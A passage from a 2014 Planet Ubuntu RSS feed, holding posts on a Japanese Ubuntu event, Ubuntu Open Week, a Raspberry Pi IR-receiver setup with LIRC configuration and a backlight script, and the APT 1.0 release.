6b4dFpI6Qo4X9Yw2ExeGFJhx9fR/xHEUGcbIaiHFE1dm+2KiU6guLm2+Py5fO/3mk1Z+zyGpzjxm0qAmaZEPADNCwXEFNuINlxkIjqNAQgKA5RvghrQCFgMKwDswGCUNLR4EgItGwgYDHPPNBcw84EtLdAkRvIwOy1A0xxNejUN7LUUtbfa4uQOkZkdYEgqYzVsu78WKdcbRsylGYi+RKX21awzFrg36I3YtkV8do3EBAtRcTxam4VxVKA9ID3Xryk2jBrYdFuURQd7BVttDcQQN+V7dkb/Vm4pdGYNVpqEU07kNYm9m78+YC3NkOmaSO61W1pp002nwOGxtPNatPENWVQ2QDK1B0KutmALbWTtlc3GLPmujvtS8Tomoz4pNFHBVMOruHp46tiKbnYbbVaNZbhghybasrPT52BmLj/7jbkMRovQuLJrYnGaUwuKq8qrfB0cRhhUbNuL4lxV4obl2uVsgXtunS9WtTX/yzdMfFcF+CYH4tpnCVWAJFOvRrYSo1uYcZtKW6BtZxvKeYdr4eb6Q0UUqOl1YD6SXZb9TbjNysaWdF6EqVVYoNopvHP1GSVV6lQNrOCt8iDkVe1xkeZt/jAsasYAmoSRmp2R03Odx2DPw6Yta06XhQrcSKOFGTIvG1bf3lQXAPWq2HfGM33ZtcGdJVNkrttskWKljYjrF5rRtFgdYatNqbK52qI2VPPsdA6RnuOW+TSbdbQ4VsSLElG7Vz8iPKY+nGuurv/e9WyIRQ6kFW3jrVkNwyMLqyneCZZhIdVrZ0fwsrsBqqHMm+xuW+dtk7gNw7pi4d2pkt/8Aexhuh/4RJ0fq3tV6J8l9apKE45Ok8O60FuXsnhzenidFhJ5a+nj4S1orN8s6pujFnPwbT3Tblh5TDmh0y8rmA/GZyaiGpLGKZFEZ3Tc8MU5p2aFJHPIxp0jnRp752jkvUojGR9L0lnVZ4R0fnTM0Mfe3bLGawNP+ge0e6bc8nF8Ov/lp/aYf789Xpv8Akjxc/wBj5nM+tj7vl+0Gnvm2XvWrvzSdgnDLy9WPhrUpyqpKERqOn0dzdkqtDEbv3ZBg4/ePz0RFjGfe3f7pSqWO5+73TUcqbof6fqv7JtxYOsG790zpPDrfDlMV8yfXPslwccnoHBl/sqdre2ceZ1x8PpHUf0F7B7J8uvTPDw/hk/2mr+z/AKhPfh9jhXljbu+Viq5moh0oT83bCw0wUBz98IZ0wA/4QA3NALQJBugiNoDxzQBWgM/PlAY0sCpxQKW6QOO6Axt02HndAkpboDqfP2wN3RHpd8Dmtc99P97701iZPXuBv6P55jMZeWY9L4Wfmx6q+wzj7uns+djuH55p3c43NH/7Li//AM5/S83fDcb+rnor/wDp+kP/ALjDzkmThl3n89MNQKn4TrPApYXee2YrLb1Z/wBoTsMwzT9ev9qf1aX3mmhu6J+cwfYP+eJM1rA4Zf8AzHEesPuidMPtYrh6sEUqvpfuQiWluHZAsU4WLWH9Cp6wmae7MmFf/9k=" width="320" /><br />
<br />
<br />
One of sessions theme are "Retrospective", overview for 10 years of ubuntu.<br />
<br />
-
 "Ubuntu and Me, a certain ubuntu user's voice" by Terazono Junya 
(indivisual, but he is famous planetary informatics scientist, a.k.a. 
"Hayabusa project's PR expert with LipoD" ).<br />
- "Retrospective last 10 years" by Kobayashi Jun (Ubuntu Japanese Team)<br />
<br />
Another seminar sessions focused "VPS and Cloud production environment with Ubuntu", line-up as follows.<br />
<br />
- "Ubuntu + Microsoft Azure, Quickguide before a you use Azure"&nbsp; by Tokura Aya, a.k.a. "Cloudia Madobe" (Microsoft Corporation).<br />
- "Ubuntu on Microsoft Azure" by Tsumura Akira (Japan Azure User Group)<br />
- "GMO Cloud with Ubuntu 14.04" by Shiobara Hiroaki (GMO Internet)<br />
- "Using Ubuntu on Sakura's VPS/Cloud" by Yokota Masatoshi (Sakura Internet)<br />
- "Using Juju for your Ubuntu environment" by Matsumoto Takenori (Canonical)<br />
<br />
Yes,
 they are awesome presenters(thanks!), they distribute Ubuntu 
environment as a Cloud/VPS operator. We can use Ubuntu on there 
VPS/Cloud service with your one-click operation. Excellent! <br />
<br />
<br />
And, You can check an another report on gihyo.jp (<a href="http://gihyo.jp/admin/serial/01/ubuntu-recipe/0325">http://gihyo.jp/admin/serial/01/ubuntu-recipe/0325</a>) by Terauchi Yasuyuki (in Japanese), that sponsored by GIHYO.<br />
<br />
In closing, I would like to thank you all for convention. Thanks a lot!<br />
<br />]]></description>
      <source url="http://fabric-janitor.blogspot.com/feeds/posts/default/-/planet">Fumihito YOSHIDA</source>
    </item>
    <item>
      <title>Trusty DVD parcels</title>
      <link>http://my-ubuntu-day.blogspot.com/2014/05/trusty-dvd-parcels.html</link>
      <guid isPermaLink="true">http://my-ubuntu-day.blogspot.com/2014/05/trusty-dvd-parcels.html</guid>
      <pubDate>Sun, 18 May 2014 14:21:00 GMT</pubDate>
      <description><![CDATA[<div dir="ltr">
I am just getting the parcels of DVDs ready. I will take them to the post office this week sometime. Thanks to everyone who is willing to be a distribution point. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNu8vq4soXAb0SoQOHmqNJiyzMJ0zqb61WMr6waHd_xd03uOT9cYwW3YPGQRQ7QKX28njKmamBStSffP6E8TjtVwmfENqo3E_kSSeWf1BZHyYXwhO_XkJQ5JLPsbCjvOXrwg-7bRTaeRyd/s1600/CAM00084.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"> <img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNu8vq4soXAb0SoQOHmqNJiyzMJ0zqb61WMr6waHd_xd03uOT9cYwW3YPGQRQ7QKX28njKmamBStSffP6E8TjtVwmfENqo3E_kSSeWf1BZHyYXwhO_XkJQ5JLPsbCjvOXrwg-7bRTaeRyd/s640/CAM00084.jpg" /> </a> </div>]]></description>
      <source url="http://my-ubuntu-day.blogspot.com/feeds/posts/default?alt=rss">Maia Grotepass</source>
    </item>
    <item>
      <title>Ubuntu Open Week wrap-up</title>
      <link>https://ubuntuclassroom.wordpress.com/2014/04/25/ubuntu-open-week-wrap-up-2/</link>
      <guid isPermaLink="true">https://ubuntuclassroom.wordpress.com/2014/04/25/ubuntu-open-week-wrap-up-2/</guid>
      <pubDate>Fri, 25 Apr 2014 23:20:49 GMT</pubDate>
      <description><![CDATA[<p><a style="color:#000000;" href="https://ubuntuclassroom.wordpress.com/wp-content/uploads/2014/04/ubuntu-open-week.png"><img width="479" height="114" data-attachment-id="817" data-permalink="https://ubuntuclassroom.wordpress.com/2014/04/20/ubuntu-open-week-for-trusty-starting-soon/ubuntu-open-week/" data-orig-file="https://ubuntuclassroom.wordpress.com/wp-content/uploads/2014/04/ubuntu-open-week.png" data-orig-size="650,156" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="ubuntu-open-week" data-image-description="" data-image-caption="" data-large-file="https://ubuntuclassroom.wordpress.com/wp-content/uploads/2014/04/ubuntu-open-week.png?w=519" class="size-full wp-image-817 aligncenter" src="https://ubuntuclassroom.wordpress.com/wp-content/uploads/2014/04/ubuntu-open-week.png?w=479" alt="ubuntu-open-week" srcset="https://ubuntuclassroom.wordpress.com/wp-content/uploads/2014/04/ubuntu-open-week.png?w=479 479w, https://ubuntuclassroom.wordpress.com/wp-content/uploads/2014/04/ubuntu-open-week.png?w=150 150w, https://ubuntuclassroom.wordpress.com/wp-content/uploads/2014/04/ubuntu-open-week.png?w=300 300w, https://ubuntuclassroom.wordpress.com/wp-content/uploads/2014/04/ubuntu-open-week.png 650w" sizes="(max-width: 479px) 100vw, 479px" /></a></p>
<p>From April 22nd through April 24th the Ubuntu Classroom team worked with teams across the Ubuntu community to bring together 12 sessions exploring various parts of our community, from Documentation to Core Apps to the Kernel team to present <a href="https://wiki.ubuntu.com/UbuntuOpenWeek">Ubuntu Open Week</a>.</p>
<p>The event was a huge success! If you missed anything, logs (for IRC-based sessions) and videos (from On Air! sessions) are now available:</p>
<table>
<tr>
<td><strong>Tues 22 Apr</strong> </td>
<td><strong>Wed 23 Apr</strong> </td>
<td><strong>Thu 24 Apr</strong> </td>
</tr>
<tr>
<td><a href="http://irclogs.ubuntu.com/2014/04/22/%23ubuntu-classroom.html#t15:00">Introduction to Open Week</a> &#8211; <a href="https://wiki.ubuntu.com/jose">jose</a> </td>
<td><a href="http://irclogs.ubuntu.com/2014/04/23/%23ubuntu-classroom.html#t15:00">Ubuntu Women Project</a> &#8211; <a href="https://wiki.ubuntu.com/lyz">pleia2</a> and <a href="https://wiki.ubuntu.com/belkinsa">belkinsa</a> </td>
<td><a href="http://irclogs.ubuntu.com/2014/04/24/%23ubuntu-classroom.html#t15:00">Ubuntu Development Team</a> &#8211; <a href="https://wiki.ubuntu.com/DanielHolbach">dholbach</a> </td>
</tr>
<tr>
<td><a href="http://irclogs.ubuntu.com/2014/04/22/%23ubuntu-classroom.html#t16:00">Ubuntu Server Team</a> &#8211; <a href="https://launchpad.net/~1chb1n">beisner</a> </td>
<td><a href="https://www.youtube.com/watch?v=M2mFNRRfPVo">Get started contributing to Ubuntu Core Apps [ON AIR!]</a> –  <a href="https://wiki.ubuntu.com/AlanPope">popey</a> and <a href="https://wiki.ubuntu.com/DavidPlanella">dpm</a> </td>
<td><a href="http://irclogs.ubuntu.com/2014/04/24/%23ubuntu-classroom.html#t16:00">Organizing Ubuntu App Dev Schools</a> –  <a href="https://wiki.ubuntu.com/DanielHolbach">dholbach</a> and <a href="https://wiki.ubuntu.com/DavidPlanella">dpm</a></td>
</tr>
<tr></td>
<td><a href="http://irclogs.ubuntu.com/2014/04/22/%23ubuntu-classroom.html#t17:00">Ubuntu Documentation Team</a> &#8211; <a href="https://wiki.ubuntu.com/lyz">pleia2</a> </td>
<td><a href="http://irclogs.ubuntu.com/2014/04/23/%23ubuntu-classroom.html#t17:00">Ubuntu Kernel Team</a> &#8211; <a href="https://launchpad.net/~jsalisbury">jsalisbury</a> </td>
<td><a href="http://irclogs.ubuntu.com/2014/04/24/%23ubuntu-classroom.html#t17:00">Kubuntu Team</a> &#8211; <a href="https://wiki.ubuntu.com/Quintasan">Quintasan</a>, <a href="https://launchpad.net/~ovidiub13">ovidiu-florin</a> </td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=2Y1MiSPox5I">Getting Acquainted with the Juju Review Queue and Process [ON AIR!]</a> &#8211; <a href="http://charlesbutler.me">lazyPower</a> </td>
<td><a href="http://irclogs.ubuntu.com/2014/04/23/%23ubuntu-classroom.html#t18:00">Ubuntu Quality Team</a> &#8211; <a href="https://wiki.ubuntu.com/balloons">balloons</a> </td>
<td><a href="http://irclogs.ubuntu.com/2014/04/24/%23ubuntu-classroom.html#t18:00">Ubuntu LoCo Teams</a> &#8211; <a href="https://wiki.ubuntu.com/jose">jose</a> </td>
</tr>
</table>
<p>Thanks again to everyone who participated in this event, from presenters who lead sessions to attendees who came with their curiosity and questions!</p>]]></description>
      <source url="https://ubuntuclassroom.wordpress.com/feed/?mrss=off">Ubuntu Classroom</source>
    </item>
    <item>
      <title>IR Receiver extension for Ambilight raspberry pi clone</title>
      <link>http://supermario-world.blogspot.com/2014/04/ir-receiver-extension-for-ambilight.html</link>
      <guid isPermaLink="true">http://supermario-world.blogspot.com/2014/04/ir-receiver-extension-for-ambilight.html</guid>
      <pubDate>Wed, 23 Apr 2014 05:48:00 GMT</pubDate>
      <description><![CDATA[After working with my ambilight clone for a few days, I discovered the biggest annoyance was that it wouldn't turn off after turning off the TV. &nbsp;I had some ideas on how I could remotely trigger it from the phone or from an external HTPC but I really wanted a self contained solution in case I decided to swap the HTPC for a FireTV or a Chromecast.<br />
<br />
This brought me to trying to do it directly via my remote. &nbsp;My HTPC uses a mceusb, so I was tempted to just get another mceusb for the pi. &nbsp;This would have been overkill though, the pi has tons of unused GPIO's, it can be done far simpler (and cheaper).<br />
<br />
I looked into it and discovered that someone actually already wrote a kernel module that directly controls an IR sensor on a GPIO. &nbsp;The kernel module is based off the existing lirc_serial module, but adapted specifically for the raspberry pi. &nbsp;(See&nbsp;<a href="http://aron.ws/projects/lirc_rpi/">http://aron.ws/projects/lirc_rpi/</a> for more information)<br />
<br />
<h3>
Hardware</h3>
All that's necessary is a 38 kHz IR sensor. &nbsp;You'll spend under $5 on one of them on <a href="http://www.amazon.com/exec/obidos/ASIN/B00HKJ5982/ref=nosim&amp;tag=supmarworblo-20">Amazon</a>&nbsp;(plus some shipping)&nbsp;or you can get one from radio shack if you want something quick and local. &nbsp;I spent $4.87 on one at my local radio shack.<br />
<br />
The sensor is really simple, 3 pins. &nbsp;All 3 pins are available in the pi's header. &nbsp;One goes to 3.3V rail, one to ground, and one to a spare GPIO. &nbsp;There's a few places on the header that you can use for each. &nbsp;Just make sure you match up the pinout to the sensor you get. &nbsp;I chose to use GPIO 22 as it's most convenient for my lego case. &nbsp;The lirc_rpi defaults to GPIO 18.<br />
<br />
Some notes to keep in mind:<br />
<br />
<ol>
<li>While soldering it, be cognizant of which way you want the sensor to face so that it can be accessed from the remote. &nbsp;</li>
<li>Remember that you are connecting to 3.3V and Ground from the Pi header. &nbsp;The ground connection won't be the same as your rail that was used to power the pi if you are powering via USB. &nbsp;</li>
<li>The GPIO pins are not rated for 5V, so be sure to connect to the 3.3V.</li>
</ol>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNCj3a3Pxu3FToZa_O6DWIsB9TV2yIsW6nwOMmdeAlsN7xODzy2SRDzts3o6xizaD29XsXUDFbVohZ5p0VevU_zSyv_FqsbGXVBlChFvQa7_c1daJovxlzSNWufVHraCUzY3zTCx2C-Ihyphenhyphen/s1600/DSC00386.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNCj3a3Pxu3FToZa_O6DWIsB9TV2yIsW6nwOMmdeAlsN7xODzy2SRDzts3o6xizaD29XsXUDFbVohZ5p0VevU_zSyv_FqsbGXVBlChFvQa7_c1daJovxlzSNWufVHraCUzY3zTCx2C-Ihyphenhyphen/s1600/DSC00386.JPG" height="213" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJPD8whqgADUVM8UGR53973Am-7Ez7prddxtM_a-KlyfXhwmpNIksBL1xzt1UbLyl6LniLNBTTPMY0nMDVl7lIzkbvlUFCOw7Q7uC4U7V18mW4Z7B7aadA7nAQ3YyRuFJusB_Cr3KEck2k/s1600/DSC00388.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJPD8whqgADUVM8UGR53973Am-7Ez7prddxtM_a-KlyfXhwmpNIksBL1xzt1UbLyl6LniLNBTTPMY0nMDVl7lIzkbvlUFCOw7Q7uC4U7V18mW4Z7B7aadA7nAQ3YyRuFJusB_Cr3KEck2k/s1600/DSC00388.JPG" height="213" width="320" /></a></div>
<br />
<h3>
Software</h3>
<br />
LIRC is available directly in the raspbian repositories. &nbsp;Install it like this:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;"># sudo apt-get install lirc</span><br />
<br />
<div>
Manually load the module so that you can test it.</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># sudo modprobe lirc_rpi gpio_in_pin=22</span></div>
<div>
<br /></div>
<div>
Now use mode2 to test that it's working. &nbsp;Once you run the command, press some buttons on your remote. &nbsp;You should be output about space, pulse and other stuff. &nbsp;Once you're satisfied, press ctrl-c to exit.</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># mode2 -d /dev/lirc0</span></div>
<br />
Now, add the modules that need to be loaded to /etc/modules. &nbsp;If you are using a different GPIO than 18, specify it here again. &nbsp;This will make sure that lirc_rpi loads on boot.<br />
<br />
<h4>
/etc/modules</h4>
<span style="font-family: Courier New, Courier, monospace;">lirc_dev</span><br />
<span style="font-family: Courier New, Courier, monospace;">lirc_rpi gpio_in_pin=22</span><br />
<div>
<br /></div>
<div>
<br /></div>
<div>
Now modify /etc/lirc/hardware.conf to match this configuration to make it work for the rpi:</div>
<div>
<br /></div>
<h4>
/etc/lirc/hardware.conf</h4>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># /etc/lirc/hardware.conf</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Arguments which will be used when launching lircd</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">LIRCD_ARGS="--uinput"</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#Don't start lircmd even if there seems to be a good config file</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#START_LIRCMD=false</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#Don't start irexec, even if a good config file seems to exist.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#START_IREXEC=false</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#Try to load appropriate kernel modules</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">LOAD_MODULES=true</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Run "lircd --driver=help" for a list of supported drivers.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">DRIVER="default"</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># usually /dev/lirc0 is the correct setting for systems using udev&nbsp;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">DEVICE="/dev/lirc0"</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">MODULES="lirc_rpi"</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Default configuration files for your hardware if any</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">LIRCD_CONF=""</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">LIRCMD_CONF=""</span></div>
</div>
<div>
<br /></div>
<div>
Next, we'll record the buttons that you want the pi to trigger the backlight toggle on. &nbsp;I chose to do it on the event of turning the TV on or off. &nbsp;For me I actually have a harmony remote that has separate events for "Power On" and "Power Off" available. &nbsp;So I chose to program KEY_POWER and KEY_POWER2. &nbsp;If you don't have the codes available for both "Power On" and "Power Off" then you can just program "Power Toggle" to KEY_POWER.</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#&nbsp;irrecord -d /dev/lirc0 ~/lircd.conf</span></div>
<div>
<br /></div>
<div>
Once you have the lircd.conf recorded, move it into /etc/lirc to overwrite /etc/lirc/lircd.conf and start lirc</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># sudo mv /home/pi/lircd.conf /etc/lirc/lircd.conf</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># sudo /etc/init.d/lirc start</span></div>
<div>
<br /></div>
<div>
With lirc running you can examine that it's properly recognizing your key event using the irw command. &nbsp;Once irw is running, press the button on the remote and make sure your pi recognizes it. &nbsp;Once you're done press ctrl-c to exit.</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># irw</span></div>
<div>
<br /></div>
<div>
Now that you've validated the pi can recognize the command, it's time to tie it to an actual script. &nbsp;Create /home/pi/.lircrc with contents like this:</div>
<div>
<br /></div>
<h4>
/home/pi/.lircrc</h4>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">begin</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">&nbsp; &nbsp; &nbsp;button = KEY_POWER</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">&nbsp; &nbsp; &nbsp;prog = irexec</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">&nbsp; &nbsp; &nbsp;repeat = 0</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">&nbsp; &nbsp; &nbsp;config = /home/pi/toggle_backlight.sh off</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">end</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">begin</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">&nbsp; &nbsp; &nbsp;button = KEY_POWER2</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">&nbsp; &nbsp; &nbsp;prog = irexec</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">&nbsp; &nbsp; &nbsp;repeat = 0</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">&nbsp; &nbsp; &nbsp;config = /home/pi/toggle_backlight.sh on</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">end</span></div>
</div>
<div>
<br /></div>
<div>
My toggle_backlight.sh looks like this:</div>
<div>
<b><br /></b></div>
<h4>
<b>/home/pi/toggle_backlight.sh</b></h4>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#!/bin/sh</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">ARG=toggle</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">if [ -n "$1" ]; then</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>ARG=$1</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">fi</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">RUNNING=$(pgrep hyperion-v4l2)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">if [ -n "$RUNNING" ]; then</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>if [ "$ARG" = "on" ]; then</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;">  </span>exit 0</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>fi</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>pkill hyperion-v4l2</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>hyperion-remote --color black</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>exit 0</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">fi</span></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">if [ "$ARG" = "off" ]; then</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>hyperion-remote --color black</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>exit 0</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">fi</span></div>
</div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#spawn hyperion remote before actually clearing channels to prevent extra flickers</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">hyperion-v4l2 --crop-height 30 --crop-width 10 --size-decimator 8 --frame-decimator 2 --skip-reply --signal-threshold 0.08&amp;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">hyperion-remote --clearall</span></div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
To test, run irexec and then press your remote button. &nbsp;With any luck irexec will launch the toggle script and change your LED status.</div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># irexec</span></div>
<div>
<br /></div>
<div>
Lastly, you need to add irexec to your /etc/rc.local to make it boot with the pi. &nbsp;Make sure you put the execution before the exit 0</div>
<div>
<br /></div>
<h4>
<b>/etc/rc.local</b></h4>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">su pi -c "irexec -d"</span></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">su pi -c "/home/pi/toggle_backlight.sh off"</span></div>
</div>
<div>
<br /></div>
</div>
<div>
Reboot your pi, and make sure everything works together. &nbsp;</div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># sudo reboot</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjEs33qAzenmGbEUay_vUb2ITID_es3zuuHQJ1Owcf0Fk7_Yv8wjh1QLF64C2XXQnCJ9L-nsG7SRZrfx6YHRuGcLH_qpmPqPhVcysIT0seGWgulz4gXgTDAmDmEcHjeeoCIiFONJxIvPfE/s1600/DSC00393.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjEs33qAzenmGbEUay_vUb2ITID_es3zuuHQJ1Owcf0Fk7_Yv8wjh1QLF64C2XXQnCJ9L-nsG7SRZrfx6YHRuGcLH_qpmPqPhVcysIT0seGWgulz4gXgTDAmDmEcHjeeoCIiFONJxIvPfE/s1600/DSC00393.JPG" height="213" width="320" /></a></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>]]></description>
      <source url="http://supermario-world.blogspot.com/feeds/posts/default">Mario Limonciello</source>
    </item>
    <item>
      <title>apt 1.0</title>
      <link>https://mvogt.wordpress.com/2014/04/04/apt-1-0/</link>
      <guid isPermaLink="true">https://mvogt.wordpress.com/2014/04/04/apt-1-0/</guid>
      <pubDate>Fri, 04 Apr 2014 14:30:02 GMT</pubDate>
      <description><![CDATA[<p>APT 1.0 was released on the 1. April 2014 <a href="https://lists.debian.org/debian-devel/2014/04/msg00013.html">[0]</a>! The first APT version was announced on the 1. April exactly 16 years ago <a href="https://lists.debian.org/debian-devel/1998/04/msg00027.html">[1]</a>.</p>
<p>The big news for this version is that we included a new &#8220;apt&#8221; binary that combines the most commonly used commands from apt-get and apt-cache. The commands are the same as their apt-get/apt-cache counterparts but with slightly different configuration options.</p>
<p>Currently the <tt>apt</tt> binary supports the following commands:</p>
<ul>
<li><tt>list</tt>: which is similar to dpkg list and can be used with flags like<br />
 <tt>--installed</tt> or <tt>--upgradable</tt>.
 </li>
<li><tt>search</tt>: works just like apt-cache search but sorted alphabetically.
 </li>
<li><tt>show</tt>: works like apt-cache show but hide some details that people are less likely to care about (like the hashes). The full record is still available via apt-cache show of course.
 </li>
<li><tt>update</tt>: just like the regular apt-get update with color output enabled.</li>
<li><tt>install,remove</tt>: adds progress output during the dpkg run.
 </li>
<li><tt>upgrade</tt>: the same as apt-get dist-upgrade &#8211;with-new-pkgs.
 </li>
<li><tt>full-upgrade</tt>: a more meaningful name for dist-upgrade.
 </li>
<li><tt>edit-sources</tt>: edit sources.list using $EDITOR.
 </li>
</ul>
<p>Here is what the new progress looks like in 1.0:<br />
<a href="https://mvogt.wordpress.com/wp-content/uploads/2014/04/apt-progress.png"><img data-attachment-id="367" data-permalink="https://mvogt.wordpress.com/2014/04/04/apt-1-0/apt-progress/" data-orig-file="https://mvogt.wordpress.com/wp-content/uploads/2014/04/apt-progress.png" data-orig-size="720,435" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="apt-progress" data-image-description="" data-image-caption="" data-large-file="https://mvogt.wordpress.com/wp-content/uploads/2014/04/apt-progress.png?w=450" src="https://mvogt.wordpress.com/wp-content/uploads/2014/04/apt-progress.png?w=450&#038;h=271" alt="apt-progress" width="450" height="271" class="alignnone size-full wp-image-367" srcset="https://mvogt.wordpress.com/wp-content/uploads/2014/04/apt-progress.png?w=450&amp;h=272 450w, https://mvogt.wordpress.com/wp-content/uploads/2014/04/apt-progress.png?w=150&amp;h=91 150w, https://mvogt.wordpress.com/wp-content/uploads/2014/04/apt-progress.png?w=300&amp;h=181 300w, https://mvogt.wordpress.com/wp-content/uploads/2014/04/apt-progress.png 720w" sizes="(max-width: 450px) 100vw, 450px" /></a></p>
<p>You can enable/disable the install progress via: </p>
<pre>
# echo 'Dpkg::Progress-Fancy "1";' &gt; /etc/apt/apt.conf.d/99progressbar
</pre>
<p>If you have further suggestions or bugreport about APT, get in touch and most importantly, have fun!</p>]]></description>
      <source url="https://mvogt.wordpress.com/category/ubuntu/feed/?mrss=off">Michael Vogt</source>
    </item>
    <item>
      <title>The Ubuntu PC Case Mod Pt.10 The CPU + Kubuntu stickers</title>
      <link>https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/</link>
